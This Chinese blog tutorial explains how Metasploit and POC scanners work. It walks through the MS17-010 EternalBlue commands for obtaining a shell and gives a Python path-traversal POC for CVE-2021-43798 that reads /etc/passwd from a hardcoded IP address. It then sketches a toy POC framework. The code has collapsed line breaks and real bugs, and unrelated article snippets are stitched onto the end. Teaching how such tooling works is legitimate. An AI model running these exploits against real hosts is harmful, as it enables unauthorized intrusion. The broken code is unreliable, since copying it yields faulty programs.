Metasploit框架基础(一)
文章目录
- 前言
- 一、基础认知
- 二、批量POC/EXP的构想
- 三、poc检测框架的简单实现
- 四、xray
- 五、Meatsploit框架
- 参考
前言
Metasploit
- 一款渗透测试框架
- 漏洞利用的集合与构建和定制满足你的需求的基础
- 漏洞利用和验证的工具
这几个说法都是百度或者官方文档中出现的手法,说到底无非就是一个软件,一堆代码。至于称之为框架(framework
),就是这堆代码是帮你写好大部分的、通用的代码
。封装了许多漏洞利用与验证功能,并提供了许多接口供我们调用,以定制我们想要的功能。用面向对象(OOP)的角度来说就是,写好了一个基类/接口,我们按照结构继承/实现其中的方法即可。
卖课用得最多的(影响很大)的漏洞——MS17-010,这个百度一下就有一大堆用MFS怎么拿shell的
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 目标ip`
run
shell
一顿操作,就轻而易举地拿到一个shell。总是很疑惑,use payloads
发生了什么,payloads
到底是什么样的,run
之后发生了什么?
现在,我们将尝试解答这些问题
一、基础认知
不管怎么花里胡哨,漏洞利用都是通过网络通信的,通过协议栈
软件/网络子系统进行信息的交换。信息的交互都是通过各种协议进行,无非就是A主机发一串特定格式的消息(01001010101
),B主机接收后解析识别这个格式的01001010101
,然后按照协议的规定进行下一步。
以HTTP协议为例,这是一个基于文本的应用协议,以下是一个典型的请求数据包:
GET / HTTP/1.1
Host: baidu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: BIDUPSID=704FDAD384C9E21E8616425F299CEC24; PSTM=1620123768;
Connection: close
HTTP服务器(Web服务器)接收到这个段文本消息后,按照一定格式回复一个HTML文件,浏览器解析渲染,就可以看到百度的页面了。
这些都是通过协议栈提供给我们的编程接口实现的——socket API
。其他应用层协议都是通过socket编程实现的,协议间的差异无非就是消息格式、加密方式、执行的操作等。
二、批量POC/EXP的构想
我们来看一个很辣鸡的POC(CVE-2021-43798)
import requestsurl = "http://8.210.89.154:3000/"
header = {
}
module_list = ["alertlist","annolist","barchart",#这里省略很多个插件名
]file_to_read = "/etc/passwd"for plugin in module_list:poc_url = url + "public/plugins/" + plugin + '/../../../../../../../../../../../../..' + file_to_readprint(poc_url)res = requests.get(url=url, headers=header)print(res.status_code)print("*****************************************************")if "root" in res.text:print("漏洞存在")break
这个POC做的事:
- 构造一个含有payload的url(这里就是这个漏洞的漏洞利用方式)
- 发送http数据包(requests模块已经榜我们构造好数据包并发送出去)
- 获取回包并做判断
所有的POC都是这样:
- 构造含有payload的数据包(各种协议)
- 根据可用的条件判断漏洞
那么我们要做就是2点,其他东西几乎都是一样的,那么我们就可写一个软件,用户提供这2点逻辑代码,让软件自动帮我们构造数据包并调用执行,那么,我们就可以实现批量的poc检测。野心再大一点,我们要实现更多功能,那么,一个漏洞扫描器就诞生了。
三、poc检测框架的简单实现
由于我们我们辣鸡的代码水平,我们并不能做很复杂的事情,我们的构想是这样:
- 以poc文件为单位
- 规定每个poc文件中实现
verify()
函数 - 遍历poc,调用
verify()
函数
项目结构:
main.py
如下:
import os
import sys
import importlib
import warnings
warnings.filterwarnings("ignore") #去除warnings
def banner():msg = r'''--\ \ ||----------- ||----------- -----||----\ \ // -----||----
---------------- ||---||----||
---------------- ||---||----||---//--- //|| \\--//--- // || \\// ||'''print(msg)
banner()
sys.path.append("pocs") #临时添加搜索模块时的路径
path = "./pocs"
list = []
datanames = os.listdir(path) #获取path目录下所有的POC文件名,存在列表datanames
datanames.remove('__init__.py') # 去除非poc文件
datanames.remove('__pycache__') # 去除非poc文件
for i in datanames: a = i[:-3] #去除文件后缀 .pyi = importlib.import_module(a) #将字符串作为模块导入list.append(i) #模块名存入list[]
for i in list:res = i.verify(sys[1]) #传入url,调用每个模块的verify()方法print(res)
poc
文件如下:
import requests
def verify(arg, **kwargs):r = requests.get(arg)if r.status_code == 200:return {"url": arg, "text": r.text}
命令运行:
这代码辣鸡得不能在辣鸡了,但也勉强实现了我们得需求,批量poc对一个url进行检测。经过了辣鸡人生体验,我们来看看现代化的、时尚的、智能的poc检测框架
四、xray
xray的检测的伪代码:
for rule in rules:newReq = mutate_request_by_rule(req, rule)response = send(newReq)if not check_response(response, rule):break
简单来讲就是将请求根据 rule 中的规则对请求变形,然后获取变形后的响应,再检查响应是否匹配 expression 部分的表达式。如果匹配,就进行下一个 rule,如果不匹配则退出执行。 如果成功执行完了最后一个 rule,那么代表目标有漏洞,将 detail 中的信息附加到漏洞输出后就完成了单个 poc 的整个流程。
不管怎么变,核心思想都是:
- 请求数据包变形
- 根据回包逻辑判断
五、Meatsploit框架
讲了这么多,到底讲了什么呢?我们再来看一下MS7-010的利用过程:
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 目标ip`
run
shell
无非就是
- 关键字搜索
- 加载人家写好的
exp
(有些还要设置payload
) - 设置
exp
需要的参数 - run --> 发送该数据包进行攻击
如果你感兴趣,可以自己去看一下这个exploit/windows/smb/ms17_010_eternalblue
ruby文件
本质还是需要懂得漏洞本身,永恒之蓝这种系统漏洞又涉及SMB协议、二进制、缓冲区溢出等知识,所以说Metasploit
是一个框架,允许你基于这个框架写poc、exp,并进行攻击利用。你完全可以写一个独立的工具,不过,正如我们实现的辣鸡poc
,一键扫描还是香的。而且之前我们说过,很多代码都是重复的,框架可以简化我们写poc的过程,这也是yaml
格式的poc的由来原因
参考
https://paper.seebug.org/913/
https://pocsuite.org/guide/what-is-pocsuite3.html
https://www.offensive-security.com/metasploit-unleashed/exploit-format/
《Web渗透测试 基于Metasploit5.0》
https://docs.xray.cool/#/tutorial/introduce
相关文章:

Metasploit框架基础(一)
文章目录前言一、基础认知二、批量POC/EXP的构想三、poc检测框架的简单实现四、xray五、Meatsploit框架参考前言 Metasploit 一款渗透测试框架漏洞利用的集合与构建和定制满足你的需求的基础漏洞利用和验证的工具 这几个说法都是百度或者官方文档中出现的手法,说…...
pytorch零基础实现语义分割项目(二)——标签转换与数据加载
数据转换与加载项目列表前言标签转换RGB标签到类别标签映射RGB标签转换成类别标签数据数据加载随机裁剪数据加载项目列表 语义分割项目(一)——数据概况及预处理 语义分割项目(二)——标签转换与数据加载 语义分割项目&#x…...

python(8.5)--列表习题
目录 一、求输出结果题 二、计算列表元素个数 三、查找是否存在某元素 四、删除某元素 五、如何在列表中插入元素 六、如何从列表中删除重复的元素 七、 如何将列表中的元素按照从小到大的顺序排序 八、从列表中删除重复的元素 九、大到小的顺序排序 一、求输出结…...

rt-thread pwm 多通道
一通道pwm参考 https://blog.csdn.net/yangshengwei230612/article/details/128738351?spm1001.2014.3001.5501 以下主要是多通道与一通道的区别 芯片 stm32f407rgt6 1、配置PWM设备驱动相关宏定义 添加PWM宏定义 #define BSP_USING_PWM8 #define BSP_USING_PWM8_CH1 #d…...
C语言练习 | 初学者经典练习汇总
目录 1、下面代码输出多少,为什么? 2、你要好好学习么? 3、一直写代码, 4、两个数求最大值 5、输入1-5输出工作日,输入6-7输出休息日,其他输入错误 6、写一个输入密码的代码 7、怎么样当输入数字时候…...
华为OD机试 - 自动曝光(Python) | 机试题算法思路 【2023】
最近更新的博客 华为OD机试 - 卡片组成的最大数字(Python) | 机试题算法思路 华为OD机试 - 网上商城优惠活动(一)(Python) | 机试题算法思路 华为OD机试 - 统计匹配的二元组个数(Python) | 机试题算法思路 华为OD机试 - 找到它(Python) | 机试题算法思路 华为OD机试…...

「6」线性代数(期末复习)
🚀🚀🚀大家觉不错的话,就恳求大家点点关注,点点小爱心,指点指点🚀🚀🚀 目录 第五章 相似矩阵及二次型 &2)方阵的特征值与特征向量 &3ÿ…...

1.1 硬件与micropython固件烧录及自编译固件
1.ESP32硬件和固件 淘宝搜ESP32模块,20-50元都有,自带usb口,即插即用. 固件下载地址:MicroPython - Python for microcontrollers 2.烧录方法 为简化入门难度,建议此处先使用带GUI的开发工具THonny,记得不是给你理发的tony老师. 烧录的入口是: 后期通过脚本一次型生成和烧…...

【MySQL进阶】视图 存储过程 触发器
😊😊作者简介😊😊 : 大家好,我是南瓜籽,一个在校大二学生,我将会持续分享Java相关知识。 🎉🎉个人主页🎉🎉 : 南瓜籽的主页…...

[Linux篇] Linux常见命令和权限
文章目录使用XShell登录Linux1.Linux常用基本命令:1.1 ls(列出当前的目录下都有哪些文件和目录)1.2 cd (change directory 切换目录)1.3 pwd(查看当前目录的绝对路径)1.4 touch(创建文件)1.5 ca…...

29岁从事功能测试被辞,面试2个月都找不到工作吗?
最近一个28岁老同学联系我,因为被公司辞退,找我倾诉,于是写下此文。 他是14年二本毕业,在我的印象里人特别懒,不爱学习,专业不好,毕业前因为都没找到合适工作,直接去创业了…...

【C#个人错题笔记1】
观前提醒 记录一些我不会或者少见的内容,不一定适合所有人 字符串拼接 int a3,b8; Console.WriteLine(ab);//11 Console.WriteLine("ab");//ab Console.WriteLine(a""b);//38 Console.WriteLine("ab"ab);//ab38 Console.WriteLine…...
基于lambda的mongodb查询插件
需求背景需要一个像mybatis plus 一样的基于lambda, 且面向对象的查询mongo数据的插件。在网上找了很久,没有发现有类似功能的插件。于是自己手写了一个,借助mongoTemplate屏蔽了底层查询语句的实现细节。在此基础上,实现了查询的统一封装。技…...

基于微信小程序的微信社团小程序
文末联系获取源码 开发语言:Java 框架:ssm JDK版本:JDK1.8 服务器:tomcat7 数据库:mysql 5.7/8.0 数据库工具:Navicat11 开发软件:eclipse/myeclipse/idea Maven包:Maven3.3.9 浏览器…...

GEE学习笔记 七十三:【GEE之Python版教程七】静态展示影像和动态展示影像
我们使用GEE在线编辑可以直接通过在线的网页可以加载展示我们计算的结果,而python版的GEE要展示我们的计算结果可能就比较麻烦。如果有同学看过GEE的python版API中可以找到一个类ee.mapclient,这个类的介绍是它是GEE官方通过Tk写的一个加载展示地图的类。…...

PGLBox全面解决图训练速度、成本、稳定性、复杂算法四大问题!
图神经网络(Graph Neural Network,GNN)是近年来出现的一种利用深度学习直接对图结构数据进行学习的方法,通过在图中的节点和边上制定聚合的策略,GNN能够学习到图结构数据中节点以及边内在规律和更加深层次的语义特征。…...
超详细的 pytest 教程(一)使用入门篇
前言 pytest到目前为止还没有翻译的比较好全面的使用文档,很多英文不太好的小伙伴,在学习时看英文文档还是很吃力。本来去年就计划写pytest详细的使用文档的,由于时间关系一直搁置,直到今天才开始写。本文是第一篇,主…...

二叉树理论基础知识点
二叉树的种类 在我们解题过程中二叉树有两种主要的形式:满二叉树和完全二叉树 满二叉树 满二叉树:如果一棵二叉树只有度为0的结点和度为2的结点,并且度为0的结点在同一层上,则这棵二叉树为满二叉树。 如图所示: 这…...

【算法基础】堆⭐⭐⭐
一、堆 1. 堆的概念 堆(heap)是计算机科学中一类特殊的数据结构的统称。堆通常是一个可以被看做一棵树的数组对象。堆总是满足下列性质: (1)堆中某个结点的值总是不大于或不小于其父结点的值; (2)堆总是一棵完全二叉树。 将根结点最大的堆叫做最大堆或大根堆,根结点…...

时序预测 | MATLAB实现CNN-SVM卷积支持向量机时间序列预测
时序预测 | MATLAB实现CNN-SVM卷积支持向量机时间序列预测 目录时序预测 | MATLAB实现CNN-SVM卷积支持向量机时间序列预测预测效果基本介绍研究回顾程序设计参考资料预测效果 基本介绍 CNN-SVM预测模型将深度学习模型作为特征学习器,将SVM 支持向量机 作为训练器进行…...

wordpress后台更新后 前端没变化的解决方法
使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…...

XML Group端口详解
在XML数据映射过程中,经常需要对数据进行分组聚合操作。例如,当处理包含多个物料明细的XML文件时,可能需要将相同物料号的明细归为一组,或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码,增加了开…...
Python|GIF 解析与构建(5):手搓截屏和帧率控制
目录 Python|GIF 解析与构建(5):手搓截屏和帧率控制 一、引言 二、技术实现:手搓截屏模块 2.1 核心原理 2.2 代码解析:ScreenshotData类 2.2.1 截图函数:capture_screen 三、技术实现&…...

AI-调查研究-01-正念冥想有用吗?对健康的影响及科学指南
点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...

Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...

抽象类和接口(全)
一、抽象类 1.概念:如果⼀个类中没有包含⾜够的信息来描绘⼀个具体的对象,这样的类就是抽象类。 像是没有实际⼯作的⽅法,我们可以把它设计成⼀个抽象⽅法,包含抽象⽅法的类我们称为抽象类。 2.语法 在Java中,⼀个类如果被 abs…...

MyBatis中关于缓存的理解
MyBatis缓存 MyBatis系统当中默认定义两级缓存:一级缓存、二级缓存 默认情况下,只有一级缓存开启(sqlSession级别的缓存)二级缓存需要手动开启配置,需要局域namespace级别的缓存 一级缓存(本地缓存&#…...

rknn toolkit2搭建和推理
安装Miniconda Miniconda - Anaconda Miniconda 选择一个 新的 版本 ,不用和RKNN的python版本保持一致 使用 ./xxx.sh进行安装 下面配置一下载源 # 清华大学源(最常用) conda config --add channels https://mirrors.tuna.tsinghua.edu.cn…...
前端调试HTTP状态码
1xx(信息类状态码) 这类状态码表示临时响应,需要客户端继续处理请求。 100 Continue 服务器已收到请求的初始部分,客户端应继续发送剩余部分。 2xx(成功类状态码) 表示请求已成功被服务器接收、理解并处…...